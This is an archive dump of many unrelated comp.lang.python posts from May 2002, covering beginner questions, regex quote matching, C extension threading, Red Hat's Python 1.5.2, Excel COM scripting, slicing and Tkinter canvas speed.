attbi.com Wed May 8 16:16:27 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Wed, 08 May 2002 13:16:27 -0700 (PDT) Subject: Comments In-Reply-To: Message-ID: On 08-May-2002 Tim Peters wrote: > [Sean 'Shaleh' Perry] >> Sure, but comments are basically free whereas the above creates >> an anonmymous string which has to be garbage collected. > > Perhaps surprisingly, it does not. A little-known optimization (one of the > few the compiler does) is that Python throws away all string literal > statements, except for those in docstring positions. It does this whether > or not -O is enabled. > thanks for clearing that up Tim. Not sure I like the idea of random strings being used for comments, but at least they are reasonably cheap. From chris at cmb-enterprises.com Mon May 6 00:07:57 2002 From: chris at cmb-enterprises.com (Chris) Date: Mon, 06 May 2002 00:07:57 -0400 Subject: Python vs. Perl, which is better to learn? References: <9UHz8.23$s55.5@newsread2.prod.itd.earthlink.net> Message-ID: In article <9UHz8.23$s55.5 at newsread2.prod.itd.earthlink.net>, "Billy Ng" wrote: > I am also new to python. I think python will be my replacement of perl. > However, if I need to do very heavy regular expression, I still prefer perl. > I just don't feel comfortable with the python's re syntax. You may also wish to consider Ruby, which is a purely OO language, and allows for Perl-ish regular expressions. It's operator overloading also means you can place the RE on either side of the =~ operator, since both the String and Regexp classes implement =~. From kragen at pobox.com Fri May 17 03:05:07 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 17 May 2002 03:05:07 -0400 Subject: beginner question: extending python types References: <3CE318F4.5030506@horvath.com> Message-ID: <83g00rxnj0.fsf@panacea.canonical.org> Bob Horvath writes: > Jeremy Yallop wrote: > > * Uwe Mayer > > | I found Python lacking the type of a "set". i.e. an unordered list. > > > > Use a dictionary, with the same value (1) for every key. > > Is there any significance to the value 1? It represents God, the eternal, life, light, and matter, in contradistinction to 0, which represent Satan, the ephemeral, death, darkness, and void. It is also the multiplicative unity, which means it's its own multiplicative inverse, and it is traditionally both the first and second member of the Fibonacci sequence. And that is only the beginning... From rnd at onego.ru Wed May 8 01:20:11 2002 From: rnd at onego.ru (Roman Suzi) Date: Wed, 8 May 2002 09:20:11 +0400 (MSD) Subject: Has Red Hat helped or hurt? In-Reply-To: <4pbhdu4t69e6eqt3q3l4q72odo0c9ufo9p@4ax.com> Message-ID: On Tue, 7 May 2002, Tim Roberts wrote: > Red Hat 7.x uses Python 1.52 for many of its configuration and > administration activities. Ordinarily, I'd say this was a Good Thing for > the betterment and furtherance of Python. > > However, it makes it deucedly difficult to upgrade away from 1.52. If one > upgrades /usr/bin/python to be 2.x, all of Red Hat's custom configuration > scripts are no longer found in site-packages. > > How have other people handled this? Do you just copy all of > 1.52/site-packages to 2.x/site-packages? Do you install Python 2.x into a > separate directory and grumble every time you have to change the #! line in > your scripts? I tried updating all of the #! lines in the Red Hat scripts, > but this, of course, blows as soon as you do an rpm upgrade of a > Python-based package. It's better to know if RedHat configuration tools can be run under Python 2.x. Has anybody done any tests on this? RedHat switched to bash2 at last (after 2 (or more?) major RedHat versions!). Maybe Python2 is on their radar too. As for me, I too find it inconvenient to manually handle #!-lines, but rebuilding rpms by python2 setup.py bdist_rpm with [bdist_rpm] python=python2 in /root/.pydistutils.cfg usually helps. (I only wish all Distutils-using packagers were aware that Distutils could use RPM too) And as for the subject, RedHat definitely helps Python. Python 1.5.2 is stable and compact workhorse version. > -- > - Tim Roberts, timr at probo.com > Providenza & Boekelheide, Inc. > Sincerely yours, Roman A.Suzi -- - Petrozavodsk - Karelia - Russia - mailto:rnd at onego.ru - From larooy at xtar.co.nz Thu May 16 19:06:40 2002 From: larooy at xtar.co.nz (John La Rooy) Date: Fri, 17 May 2002 11:06:40 +1200 Subject: how to determine an 'open' string? References: <8FC4E7C302A6A64AAD5DB1FA0E825DEB220BB3@hendrix.empolisuk.com> <20020517090025.04369a30.larooy@xtar.co.nz> <20020516232456.P28033@prim.han.de> Message-ID: <20020517110640.54ed274d.larooy@xtar.co.nz> On Thu, 16 May 2002 23:43:46 +0200 holger krekel wrote: > To John La Rooy wrote: > > > is this short enough for you? > > > > > > import re > > > > > > def quoteopen(s): > > > quot=re.compile("(?P\"\"\"|'''|\"|').*?(?P=quot)") > > > s=quot.sub("",s) > > > return "'" in s or '"' in s > > > > my other version also returns the 'open quote' but > > yours is shorter. you won :-) > > NO! you lost :-/ > > it doesn't work because the rex tries too hard to match. > paste this to your interpreter... > > quoteopen('"""a"a""') > > and it will match in ".*?" pairs which yields > the wrong result. > > > regexes often offer more than one might think... > > especial more subtlety :-) > > holger > > bugger ;o) we both lose :/ >>> open_quote('"a"""') '"' that should be closed, right? or am i misunderstanding the question? if should return anything that *isn't* quoted like q('A"quoted bit"B') --> 'AB' might need more examples of return values, because "the way python treats quotes" doesn't define that for you John back to the drawing board... From quitelikely at yahoo.com.au Sat May 4 09:35:09 2002 From: quitelikely at yahoo.com.au (Patrick W) Date: 04 May 2002 23:35:09 +1000 Subject: Using functional tools References: <3CD39DAD.D5BC3F9C@vip.fi> <82znzgaw4x.fsf@acropolis.localdomain> Message-ID: <82sn58avea.fsf@acropolis.localdomain> Patrick W writes: [...] Or, if the OP's religion forbids 'fors' or 'whiles' under any circumstances: def do_every_nth(seq, func, n): def transform(item, index): if index % n == n - 1: return func(item) else: return item return map(transform, seq, range(len(seq))) From Gelatti at exatas.unisinos.br Wed May 15 12:15:45 2002 From: Gelatti at exatas.unisinos.br (Giorgenes Gelatti) Date: Wed, 15 May 2002 13:15:45 -0300 Subject: pthreads + callbacks again Message-ID: <3CE25F81.32684.3EA22FB@localhost> I have 2 C modules wich lauchs a thread each one e then access a function of the other module. The code I've coded works fine, but, when I type the ENTER key in the python shell it gives the error: "Fatal Python error: PyEval_ReleaseThread: wrong thread state" Here goes parts of my code: --------------------------- module A ----------------------- void *PerformLoop(void *name) { PyThreadState* novo; novo = PyThreadState_New(gbl_interpreter); while(1) { if(cbFoo) { PyObject *param, *item; \ PyEval_AcquireThread(novo); \ param = PyTuple_New(1); \ item = Py_BuildValue("s", S); \ PyTuple_SetItem(param, 0, item); \ PRINT(A); \ PyEval_CallObject(cbFoo, param); \ Py_DECREF(param); \ PyEval_ReleaseThread(novo); } } PyThreadState_Delete(novo); } /*-------------------------------------------------------------------------------*/ static PyObject *pyt_run(PyObject *self , PyObject *args) { int ret; \ pthread_t tid; \ Py_BEGIN_ALLOW_THREADS \ savePerform = _save; \ gbl_interpreter = savePerform->interp; \ ret = pthread_create(&tid, NULL, PerformLoop, NULL); \ Py_END_ALLOW_THREADS Py_INCREF(Py_None); return Py_None; } static PyObject *pyt_foo(PyObject *self , PyObject *args) { char *temp; if (PyArg_ParseTuple(args, "s", &temp)) { PRINT(temp); } Py_INCREF(Py_None); return Py_None; } static PyObject *pyt_reg(PyObject *self , PyObject *args) { PyObject *temp; if (PyArg_ParseTuple(args, "O:set_callback", &temp)) { if (!PyCallable_Check(temp)) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } Py_XINCREF(temp); /* Add a reference to new callback */ cbFoo = temp; } Py_INCREF(Py_None); return Py_None; } --------------------- module B -------------- exactaly the same as module A. in my script I do the following: import A import B A.reg(B.foo) A.run() ------------------------------ Someone knows what is the problem? Tks(); From claird at starbase.neosoft.com Wed May 15 09:28:11 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 15 May 2002 08:28:11 -0500 Subject: Beginner question References: <3ce244e4$0$205$e4fe514c@dreader3.news.xs4all.nl> <3CE25274.CCC7E2FE@ndh.net> Message-ID: In article <3CE25274.CCC7E2FE at ndh.net>, Stefan Schwarzer wrote: >Hello Luis and Boudewijn > >Boudewijn Rempt wrote: >> Luis Fernandes wrote: >> > Is Python a good language for large database applications? >> >> Yes. > >Obviously, a too-short question provokes an answer of the same kind. :-) > >Luis, your question is a bit general. What do you mean by "large >database applications"? > >Would you, for example, use Python to access a large database "in" a >database server, or would you like to use Python to do complicated >processing of a lot of data, or what? > >Please tell us more about your application, so the answers can be more >specific. > >Stefan Python's sure a lot more productive in this area than the C and Java that are often used. -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From martin at v.loewis.de Sun May 5 04:32:47 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 05 May 2002 10:32:47 +0200 Subject: YACC grammar for Python References: <3CD4ECC5.3070002@bgb.cc> Message-ID: Don Garrett writes: > I'm very interested in any results that you get, but it may be that > YACC can't handle the Python grammer very well. Making indention > levels significant is different from most of the language types that > YACC was created for. That should work just fine if you start from Grammar/Grammer: you just need a scanner that generates the proper INDENT and DEDENT tokens. Conversion of Grammar/Grammar to yacc shouldn't be too difficult: you just have to remove the E part of the EBNF. HTH, Martin From fperez528 at yahoo.com Mon May 20 19:41:22 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Mon, 20 May 2002 17:41:22 -0600 Subject: ANSI colored output: How to determine how python was called? References: Message-ID: Pearu Peterson wrote: > So, my question is: > > Are there alternative (hopefully better) ways to decide whether the > output "device" of python stdout supports ANSI colored text or not? > > Thanks, > Pearu Good luck Pearu. Let me know if you find a _robust_ solution to this problem. IPython uses a lot of colors (by the way, feel free to grab the classes I've made for it which automate color table management, scheme switching, etc.). And support in various terminals is very spotty and inconsistent. Even xterm isn't fully compliant, and rxvt (I think) has a few quirks. I've found konsole and gnome-terminal to have much better behavior. The CDE dt-terminal is its own bag of problems. As far as I can tell, there's no sane way of determining from inside the code if a given terminal will put out garbage or if it will put out properly colored text. And when you are trying to run colored text through pagers like more/less, a whole new can of worms opens up! This weekend I added colored object introspection to IPython which works beautifully on my Mandrake 8.2 laptop, just to find out that the Redhat 7.2 machines in my office spit out pure garbage with it! So if you can figure out a permanent, solid solution please drop me a line on it. Cheers, f. From 1 at 2.com Sat May 25 14:07:47 2002 From: 1 at 2.com (John Smith) Date: Sat, 25 May 2002 20:07:47 +0200 Subject: ADPCM Message-ID: I got some dialogic ADPCM Alaw files i eant to play through Python. Tried with the Snack but couldn't play the files there. Any easy idears ?? From rpinder at usc.edu Mon May 13 19:48:37 2002 From: rpinder at usc.edu (Rich Pinder) Date: Mon, 13 May 2002 19:48:37 -0400 Subject: Python 2.2.1 Windows / install variables ? References: <3CDE7290.3E28D9BD@usc.edu> <3CDE93AB.4E4607D0@usc.edu> <3CDEB9F4.3307092E@usc.edu> <3CDEF6AF.7030802@skippinet.com.au> Message-ID: <3CE050D5.A04790B1@usc.edu> Firstly, I did try uninstalling, loggin in as root, re'installing - no difference. (but my user profile is setup so I do have install priviliges on the machine) There isnt really a 'per user' option that I see with this installer .... but under advanced options you can select 'Admin install' or 'Non-admin install'. Is this what you're thinking about ? It really has to do with where you write the .dll's and other stuff executable stuff. Both would work for any user, but if you're installing, and you dont have wrtie permissions to system32 directory, 'Non-admin install' would allow you to still install the software. thanks for your the thoughts - i'm keeping on trying ! (its funny - i'm only loading this stuff on the windows laptop to do some testing/devel - all 'real' stuff would go on linux machines, if it turns out the stuff works as advertised) r > Is it possible you installed Python itself as "per user", rather than > for the entire machine? If so, this is likely your problem, and the > simplest solution is probably to uninstall, then re-install ensuring it > installed for the entire machine. You will need admin privs for this. > > Mark. From marklists at mceahern.com Tue May 21 21:15:36 2002 From: marklists at mceahern.com (Mark McEahern) Date: Tue, 21 May 2002 20:15:36 -0500 Subject: Is python really slow? In-Reply-To: Message-ID: [Chris] > I spend a fair amount of time on perl newsgroups, having the need to use > perl for various parts of my job. I am now learning Python. I am a bit > disheartened at how common it seems to code only some of a program in > Python and use C for other parts, and how much discussion here involves > using C for X and Y. I don't have time to learn another language. I don't > see nearly as much discussion about doing this in the Perl newgroups. > Should I just be learning C instead? Is this just because of the > different applications python is being put to use for or because Python > programmers are more "multi-lingual" or is Python really so slow that one > needs to go to C on a more regular basis? What draws me to Python is: 1. The pragmatic approach it encourages. 2. The multi-paradigmatic approach it encourages (it's not just OO, it's not just functional, it's not just procedural). 3. The clarity it makes possible. 4. Batteries are included (the standard library has lots to offer). I've been using Python for almost a year and haven't felt the need to write a C extension. Well, that's partially true. A colleague of mine wrote one (to interface with Verisign's PayFlowPro SDK) and I fixed a tiny bug in it. I wouldn't expect Verisign to provide a native Python API, so in this case the fact that Python allows for C extensions is an expression, again, of its pragmatic nature. In this case, the need for the C extension had nothing to do with speed, but rather with utilizing a third party library. I'd say if you find another language that suits your needs better than Python, by all means that should be where you spend your energy. Cheers, // mark From marklists at mceahern.com Fri May 10 13:34:47 2002 From: marklists at mceahern.com (Mark McEahern) Date: Fri, 10 May 2002 12:34:47 -0500 Subject: get/set In-Reply-To: <20020510192720.0823ed15.wilk@flibuste.net> Message-ID: [William Dode] > it means that if i want to keep working with python 2.1 i need to use my > own get/set method ? As Gerhard pointed out, pre-2.2 you had to resort to __getattr__ and __setattr__ for this kind of bondage. Cheers, // mark From nookieNO_SP_AM at online.no Wed May 8 22:11:17 2002 From: nookieNO_SP_AM at online.no (Erlend J. Leiknes) Date: Thu, 09 May 2002 02:11:17 GMT Subject: Hello Newb here References: <_ujC8.155$wG1.137@nwrddc04.gnilink.net> Message-ID: <9VkC8.12535$2E.446014@news2.ulv.nextra.no> is your last name really Tux? now something completely different... You should be able to do alot of stuff after 5 days in python... (like writing code without constantly looking in the API documentation etc ;) And for a beginner, stay far away from GUI, you will learn that later. (or you can use cgi/html as a frontend for your programs) "Ray Tux" wrote in message news:_ujC8.155$wG1.137 at nwrddc04.gnilink.net... > Hello im new to programming i started to learn c++, but turned out to be > way too hard. So i thought I would learn Python. > > Does anyone have any ideas on how I can learn to program well in about a > month > > Thank > > > From billdozier at hotmail.com Fri May 3 11:09:32 2002 From: billdozier at hotmail.com (Bill Dozier) Date: 3 May 2002 08:09:32 -0700 Subject: Is there a way to 'mask out' inherited methods? References: <29e28c51.0205021931.4e698a76@posting.google.com> Message-ID: <199334c5.0205030709.381afa19@posting.google.com> cimarron+google at taylors.org (Cimarron Taylor) wrote in message news:<29e28c51.0205021931.4e698a76 at posting.google.com>... > Do you really need to inherit? Exactly. Inheritance is for an "is-a" relationship, what you have is an "is-implemented-as-a". A vector is not a list, you are merely implementing it with one. This calls for composition, not inheritance. From audballio at yahoo.com Sat May 18 14:54:18 2002 From: audballio at yahoo.com (RoadRunner eNews) Date: Sat, 18 May 2002 18:54:18 GMT Subject: Problems importing _sre w/VC7-compiled Python 2.1 Message-ID: I've successfully built Python 2.1 with VC7, but I'm having a problem using the resulting binaries, namely _sre.pyd (and _d.pyd). Specifically, when I attempt to 'import re', the result is a Traceback stating 'ImportError: dynamic module does not define init function (init_sre)'. Everything works fine under VC6, and ...\modules\_sre.c definitely contains init_sre(), so it has to be something VC7 related. Has anybody run into this problem? I'd appreciate it if somebody in-the-know out there could build Python 2.1 with VC7 (you'll need to apply Mark Hammond's largeint patch), run the interpreter from the command line, attempt to import re and share the results. I'm no Python guru, so am at a loss on how to continue at this point. Any help would be greatly appreciated. Thanks, David Aldridge From spam at fisher.forestry.uga.edu Mon May 27 16:30:41 2002 From: spam at fisher.forestry.uga.edu (Chris Fonnesbeck) Date: 27 May 2002 13:30:41 -0700 Subject: Casting PyArrayObjects to C types Message-ID: Most of the references to interacting python with C are with respect to extending, rather than embedding python. I am interested in the latter. For example, how can I take a PyArrayObject, say a PyArray_DOUBLE and convert it to a double[] type in C? I have a C function that must call python code to get a Numeric Python array, change it to a standard C array, and return it. How would I do this. Many thanks in advance, cjf From phd at phd.pp.ru Sun May 12 14:43:49 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Sun, 12 May 2002 22:43:49 +0400 Subject: High performance Python web-app In-Reply-To: <7xd6w15ktk.fsf@ruckus.brouhaha.com>; from phr-n2002a@nightsong.com on Sun, May 12, 2002 at 10:37:27AM -0700 References: <3CDE9D7B.7050408@xs4all_removethisalso.nl> <7xd6w15ktk.fsf@ruckus.brouhaha.com> Message-ID: <20020512224349.A19278@phd.pp.ru> On Sun, May 12, 2002 at 10:37:27AM -0700, Paul Rubin wrote: > You could try fastCGI, I suppose. FastCGI project has not yet released Apache2 driver. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From hughett at mercur.uphs.upenn.edu Wed May 1 13:59:58 2002 From: hughett at mercur.uphs.upenn.edu (Paul Hughett) Date: 1 May 2002 17:59:58 GMT Subject: Slice objects with negative increment References: <3kjz8.32779$8D3.928578@news1.tin.it> Message-ID: Alex Martelli wrote: : Paul Hughett wrote: : ... :> Hmm. Is the value of r[-1:-1:-1] equal to array([12, 11, 10, 9, 8, 7, :> 6, 5, 4, 3, 2, 1, 0]) or to an empty array? It could plausibly be : Any slice x[a:a] is empty. Why ever should x[a:a:-1] be any different : from x[a:a:1]?! I suggest you download and install Numeric so you : can easily check on such doubts. : Slicing rules are simple. [details omitted] Perhaps, but they give some results that I find anomalous. Consider this mini-problem: Given i and j such that j > i >= 0, write a snippet of code to construct a slice object that selects elements j-1, j-2, ..., i. If I understand the interpretation of slices correctly, i = 0 must be treated as a special case and the code must look something like if i == 0 : slc = slice(j, None, -1) else : slc = slice(j, i, -1) : Even having just one convention might be a problem if the convention : was bad -- complicated, irregular, inconsistent. I think Python's : arrangement here is quite good. I'm less convinced of that, in light of the example just given. Having to treat element zero as a special case could come as a nasty surprise to some programmer. Paul Hughett From peter at engcorp.com Fri May 31 00:49:33 2002 From: peter at engcorp.com (Peter Hansen) Date: Fri, 31 May 2002 00:49:33 -0400 Subject: Python program problem involving reading a web site. References: <3CF6F290.ACAA4FEF@engcorp.com> Message-ID: <3CF700DD.5C0EE136@engcorp.com> Mike Varney wrote: > > "Peter Hansen" wrote: > > Mike Varney wrote: > > > > > > I wrote a quick little program that is supposed to read the html from a > > > web site and to update the web counter to show another hit. > > > > Is there some valid reason for updating a web counter in this way? > [snip unhelpful reply] > Regardless, it is a question related to the implementation of python. What does that imply? That the question must be answered? I'm an engineer: I have concerns about the misuse of technology, and I consider the moral consequences of my actions, including when I might provide assistance with problems which apparently have no redeeming social merit. > > It smells like the moral equivalent of ballot-stuffing... maybe I'm > > just missing something. > > Yup. But the question still remains. And will remain, unanswered by me at least. Until I understand there to be an acceptable use for this. No doubt some other will provide you an answer, however... someone always does around here. :) -Peter From xtian at toysinabag.com Thu May 23 17:51:04 2002 From: xtian at toysinabag.com (xtian) Date: 23 May 2002 14:51:04 -0700 Subject: jython - animation problem References: <3ceca491$0$1529@echo-01.iinet.net.au> Message-ID: "Rob Hall" wrote ... > oldRect = awt.Rectangle > newRect = awt.Rectangle > These lines are the problem - you're setting oldRect and newRect to the Rectangle class, when you want them to be instances of the class. To create new Rectangles, use oldRect = awt.Rectangle() or even oldRect = awt.Rectangle(x, y, width, height) (This is equivalent to the Java code Rectangle oldRect = new Rectangle(x, y, width, height); .) > AttributeError: set instance variable as static: public int > java.awt.Rectangle.x To be able to set awt.Rectangle.x to a value (for the class, not an instance), awt.Rectangle.x would have to be a static member. Hope that helps! xtian From jeff at ccvcorp.com Fri May 3 13:48:13 2002 From: jeff at ccvcorp.com (Jeff Shannon) Date: Fri, 3 May 2002 10:48:13 -0700 Subject: Multidimensional arrays - how? References: <6vv4du8mu1hj59k7g0uq58r24mp74g02hu@4ax.com> Message-ID: (I haven't received the original article, so I'm replying to this reply to it...) > "Jaros?aw Zabie??o" wrote in > message news:6vv4du8mu1hj59k7g0uq58r24mp74g02hu at 4ax.com... > > How to create multidimmensional arrays in Python? I tried: > > > > x = [] > > > > book, chapter, para = 0,0,0 > > x[book][chapter][para] = 'text0' > > > > book, chapter, para = 0,0,1 > > x[book][chapter][para] = 'text1' In Python, if you want to do this, you have to explicitly create the nested list yourself. The following will work: >>> book, chapter, para = 0, 0, 0 >>> x = [ [ ['para0', 'para1'] ] ] >>> x[book][chapter][para] 'para0' >>> x[book][chapter] ['para0', 'para1'] >>> Note that x[book][chapter] evaluates to a list; x[book][chapter][para] then indexes into *that* list. And similarly, x[book][chapter] is indexing into the list referred to by x[book], which is indexing into the list referred to by x. Hope this explains how this works a bit better, for you. This being said, it's likely that you're better off using the dictionary idea in this case, but it's good to know how nested lists work anyhow. :) -- Jeff Shannon Technician/Programmer Credit International From aleax at aleax.it Thu May 2 15:25:29 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 02 May 2002 19:25:29 GMT Subject: Theoretical question about Lambda References: <3CD0DCD6.4050403@vip.fi> Message-ID: Terry Reedy wrote: ... >> smiley fraction here), if/else is much more comfortable for this > > This is a matter of taste, not objectivity. Given that bool(function) ... > foo = doitoneway and (lambda: whatever) or (lambda: somethingelse) > > It saves screen/page lines and to me is easier to grasp. Obviously, the "This is a matter of taste" definitely applies wrt this "easier to grasp". There remains the objective fact, to answer the OP, that there is really nothing important that lambda buys you, including this further obfuscation (in my view) of double and/or short-circuiting. Alex From pyth at devel.trillke.net Thu May 16 10:58:12 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 16 May 2002 16:58:12 +0200 Subject: Some troubles with Excel formatting a cell in python In-Reply-To: ; from amapy@snafu.de on Thu, May 16, 2002 at 04:45:40PM +0100 References: Message-ID: <20020516165812.B28033@prim.han.de> Andreas Maurer wrote: > Hi folks, > > I tried to "convert" an Excel-macro to python. > This worked well, 'till I found this VBA-Codeline: > > With ActiveCell.Characters(Start:=8, Length:=15).Font > .Name = "Arial" > .FontStyle = "Standard" > etc, etc... > > I "translated" this line to python like this: > > Excel.ActiveCell.Characters(Start:=8, Length:=15).Font.FontStyle = > "Standard" > > when I start this line in the Interactive Window of pythonwin, I got this > error-message: > > >>> Excel.ActiveCell.Characters(Start:=8, Length:=15).Font.FontStyle = > "Standard" > Traceback ( File "", line 1 > Excel.ActiveCell.Characters(Start:=8, Length:=15).Font.FontStyle = > "Standard" > ^ > SyntaxError: invalid syntax > > I was looking in the msdn and other sources, but I've not found a solution > yet to avoid > the trouble with the Characters-methode. I'd recommend taking the SyntaxError seriously. It points at the exact character that is wrong. Just remove the ':'. Assignments in python don't need it. holger From sholden at holdenweb.com Thu May 2 16:18:31 2002 From: sholden at holdenweb.com (Steve Holden) Date: Thu, 2 May 2002 16:18:31 -0400 Subject: Theoretical question about Lambda References: <3CD0DCD6.4050403@vip.fi> Message-ID: <_dhA8.57444$Au5.8428@atlpnn01.usenetserver.com> "Bengt Richter" wrote ... > On Thu, 02 May 2002 17:00:11 GMT, Alex Martelli wrote: > > >Bengt Richter wrote: > > ... > >>>> Is there any forced need for Lambda's in Python ? I mean does Lambda > >>>> contribute anything that cannot be done otherwise in Python ? > >>> > >>>Not really. lambda lets you have an anonymous function, and create > >>>a function within an expression (while def is a statement and does > >> A thought: being ble to do it in an expression allows taking advantage > >> of short-circuit evaluation to avoid some problem in a lambda def form > >> vs another. > > > >...while doing it with a def would let you much more easily with > >an appropriate if/else: > > > >if doitoneway: > > def foo(): return whatever > >else: > > def foo(): return somethingelse > > > What if doitoneway varies during expression evaluation involving foo, > and whatever and somethingelse involve function calls with side effects? > Would you pass all the unevaluated pieces to an outside function? I'm sure > it would be cleaner sometimes, but I'm not sure about all the time. > C'mon, you can argue both sides ;-) > > >> What do you think re short circuit evaluation vav lambda? > > > >Given the lack of a ternary operator in Python (insert appropriate > >smiley fraction here), if/else is much more comfortable for this. > > > ISTM a real ternary or cond expression would be a good addition to Python. > Why don't you ask James Besemer what *he* thinks, I seem to remember he had a few words on that subject a few days ago. Or, alternatively ... AAAARRRRGGGGHHHH!!!! regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From brian at sweetapp.com Fri May 3 17:09:26 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Fri, 3 May 2002 14:09:26 -0700 Subject: Maximum read size for sys.stdin In-Reply-To: <4cc96c48.0205031236.40a76068@posting.google.com> Message-ID: <006e01c1f2e6$cec34c70$445d4540@Dell2> Does anyone have an explanation for why stdin has a maximum read size on Windows? >>> sys.stdin.read(10000) ^Z '' >>> sys.stdin.read(100000) Traceback (most recent call last): File "", line 1, in ? IOError: [Errno 12] Not enough space Cheers, Brian From stephen at xemacs.org Wed May 1 07:50:55 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 01 May 2002 20:50:55 +0900 Subject: Newbie: finding the key/index of the min/max element References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> <3CCF4F66.BA0A5DD4@cascade-sys.com> Message-ID: <876628nl28.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "Laura" == Laura Creighton writes: >> I'm truly sorry that my sincere attempt to answer what I >> thought was a simple question caused you to resort to open >> hostility. I am truly impressed by you r vicisousness. Laura> Oh Rats! If you are _impressed_ by this, then I will have Laura> to try something else. I wanted you to be _disgusted_. The First Law of Marketing: It doesn't matter how bad the thing they say about you is, as long as it isn't nothing. But think about it -- this is logical. By showing that you have command of the idiom, you attract attention to yourself. By the fact that normally you _choose_ not to use it, your use in a special case highlights your normal behavior, and invites consideration of your motivation and philosophy. It won't work on everybody. But where it doesn't work, they won't pause to be impressed. They'll just dig a foxhole and start lobbing grenades back. Laura> hmm, can we consider c.l.p a society? It sure is a Laura> F?rening, , but do you get to use Laura> English that way?) Sure. Many meanings for "society", this usage is certainly acceptable. However, you might prefer "community" (which sounds like and is derived from "common", ie, "shared"). Laura> This is an extremely interesting and to my mind important Laura> social experiement, Is this documented somewhere? I'm interested in the experiment. The newsgroups and mailing lists I participate in are by and large not so different from c.l.py in this respect, so it was not obvious to me that it is something different. Laura> and you aren't going to find many people who will support Laura> you in your efforts to turn this place into just another Laura> newsgroup. Laura> You want us to change our societal norms and our entire Laura> process for your sake. You want to make c.l.p a place Laura> where people do not post for fear of _wasting your time_. I think this is rather unfair. I agree that this is the _effect_ of this typically American form of behavior. You have every right, and if you like, a duty, to defend your experiment from this threat. But what is _wanted_ is mostly simple freedom of expression. "Those words just roll off _my_ back; what's your problem? They're _just_ _words_, OK?!" says the American. Well, to many people they're not "mere words". But that takes some explaining to many of the people I know. Americans often ask "well, why can't I do it my way, and you do it yours? If people don't like my way, that's what score-files are for." I don't have an answer to that for you, but I did want to present it in a way that acknowledges both the threat you correctly perceive, and the fact that it surely was intended as an expression of personal style, not subversion of your social fabric. And I would be interested to hear the answer, although I intend to follow the rules regardless of how they are justified. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN From op73418 at mail.telepac.pt Tue May 21 19:38:15 2002 From: op73418 at mail.telepac.pt (Gonçalo Rodrigues) Date: Wed, 22 May 2002 00:38:15 +0100 Subject: list prob References: <3ceac092$0$8139$ba620e4c@news.skynet.be> Message-ID: <9hmleucpt6iv1rvf2po0lopg7h44aeibda@4ax.com> On Tue, 21 May 2002 23:48:41 +0200, "kemu" wrote: >I want to search a list if I do list.index("word to search") and the word >isn't in the list I get an error I don't want to get one from python but >want my own error like word is not in the list how ? >or is there an other way to search the list for strings and if he doesn't >find one he doesn't print an error ? > Let me add that using the find method also works. But the try block idiom is useful for a lot of thing and is worth learning/understanding. Best, Gon?alo Rodrigues From zayats at blue.seas.upenn.edu Fri May 31 15:39:59 2002 From: zayats at blue.seas.upenn.edu (Salim Zayat) Date: 31 May 2002 19:39:59 GMT Subject: Speeding up the Canvas Widget Message-ID: I have been having problems with the Canvas widget in terms of just speed. I need to draw, and almost constantly redraw, upwards of like 10,000 or so things to the canvas (lines, text, and rectangles, etc.). The larger the number of things to be drawn, the slower it is. I went on the tcl/tk newsgroup, and apparently this is a problem for them too. So I was just wondering if anyone has some sort of cheats that could be used to speed it up. They mentioned the overhead in the CanvasItem being called, so maybe being able to treat 1000 polygons as one item and only one call to CanvasItem. I dont know how applicable that is to Tkinter but still. I know I am not exactly beeming with info here, but I have been struggling with this lag issue for a while, and I am not sure whether it is worth it to continue, or try experimenting with other packages (maybe pyGTK or something). Salim From bokr at oz.net Wed May 15 18:56:26 2002 From: bokr at oz.net (Bengt Richter) Date: 15 May 2002 22:56:26 GMT Subject: getting name of the function you're in References: <3CE295FF.2020202@packeteer.com> <1021485284.24344.0@eos.uk.clara.net> Message-ID: On Wed, 15 May 2002 14:59:55 -0600, "Andrew Dalke" wrote: >Richard Townsend: >> try: >> raise ZeroDivisionError >> except ZeroDivisionError: >> # Get the traceback object >> tb = sys.exc_info()[2] > >As mentioned in this newsgroup in other threads, I've learned >a bunch of old habits which need to change because of newer >tricks in Python. > >sys._getframe() > Looks like no need for raising exception either: >>> import sys >>> def foo(): ... def inside_foo(): ... return `sys._getframe().f_code`.split()[2] ... return `sys._getframe().f_code`.split()[2],inside_foo() ... >>> foo() ('foo', 'inside_foo') Regards, Bengt Richter From tonyclick at mindspring.com Fri May 31 07:59:43 2002 From: tonyclick at mindspring.com (Banar-Tul) Date: Fri, 31 May 2002 07:59:43 -0400 Subject: Thanks! References: <3CF6DBF4.DB43290D@engcorp.com> Message-ID: Peter Hansen wrote: > Banar-Tul wrote: >> >> I am just starting with Python an I am running into a head stratching >> delima. I am using SuSe 7.3 Pro with Python 2.1.1. I start Python by >> typing python at the following prompt. >> >> user at linux:~> python >> >> From there I can work interactively such as; >> >> >>> print "Hello World" >> Hello World >> >> But I am trying to follow the examples in Learning Python which instructs >> >> % cat threenames.py >> [example code] >> >> but the only prompt I get is the >>>. > > That's because you are still in the Python console. The example > above is expecting to be typed at the _shell prompt_. The "%" prompt > is an indicator that you should exit Python with Ctrl-D and type > the Linux command "cat" which simply displays the contents of the > file named 'threenames.py'. > >>>> indicates the Python prompt > % indicates a Linux prompt > > -Peter Ah! That sound you hear is me repeatedly slapping my forehead. Thanks. From martin at v.loewis.de Mon May 6 02:54:52 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 06 May 2002 08:54:52 +0200 Subject: References: Message-ID: Michael Gilfix 